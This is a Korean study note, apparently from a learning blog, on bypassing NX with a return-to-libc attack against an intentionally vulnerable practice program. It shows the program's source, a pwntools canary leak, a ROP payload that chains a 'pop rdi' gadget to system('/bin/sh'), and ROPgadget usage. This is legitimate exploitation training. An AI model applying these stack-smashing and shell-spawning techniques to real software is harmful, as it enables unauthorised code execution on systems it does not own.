NX 우회 기법!
NX로 인해 버퍼에 주입한 코드를 실행하기는 어려워졌지만,
여전히 스택 버퍼 오버플로우 취약점으로 반환 주소를 덮는 것은 가능하다.
-> 실행 권한이 남아있는 코드 영역으로 반환 주소를 덮으면 되겠군
바이너리의 코드 영역
과 라이브러리의 코드 영역
이다!라이브러리
에 주목하였다. 몇몇 라이브러리에는 공격에 유용한 system
, execve
등 실행과 관련된 함수들이 구현되어있기 때문!// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt'");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
checksec rtl
const char* binsh = "/bin/sh";
system("echo 'system@plt'");
system
을 추가하는 코드// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
1. 카나리 릭
RTS
에서처럼 첫 번째 입력에서 적절한 길이의 데이터를 입력하여 카나리를 구할 수 있다.
buf = b"A"*0x39 #0x38 + 1
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
2. rdi값을 "/bin/sh"의 주소로 설정 및 셸 획득
system("/bin/sh")
은 rdi="/bin/sh" 주소인 상태에서system
함수를 호출한 것과 같다.
이 예제에서는
"/bin/sh" 주소를 알고, system
함수를 호출항 수 있으므로 system("/bin/sh")
을 실행할 수 있다!
-> 이를 위해 리턴가젯 활용
리턴 가젯(Return gadget)은 다음과 같이 ret로 끝나는 어셈블리 코드 조각을 의미한다!
0x0000000000400853 : pop rdi ; ret
이 예제에서는
rdi의 값을 "/bin/sh"의 주소로 설정하고, system
함수를 호출해야하니까
리턴 가젯을 사용하여 리턴 주소와 이후의 버퍼를
addr of ("pop rdi; ret") <= return address
addr of string "/bin/sh" <= ret + 0x8
addr of "system" plt <= ret + 0x10
이렇게 덮으면, pop rdi
로 rdi
를 "/bin/sh"의 주소로 설정하고, 이어지는 ret
로 system
함수를 호출할 수 있다.
pop rdi
/bin/sh
의 주소search /bin/sh
입력call_func : system
의 plt 주소
-> 1. pwndbg에서 plt
입력
-> 2. pwntools의 ELF 이용
system_plt = elf.plt["system"]
system_plt = elf.plt["system"]
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285
payload = b"A"*0x38 + p64(cnry) + b"A"*0x8
payload += p64(ret) # no-op gadget
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
pip로 설치하는 게 오류가 나서
git clone으로 ROPgadget을 직접 설치하여 python3 ROPgadget.py
로 사용함!
$ git clone https://github.com/JonathanSalwan/ROPgadget.git
$ python3 ROPgadget/ROPgadget.py --binary rtl --re "pop rdi"
이런식으로...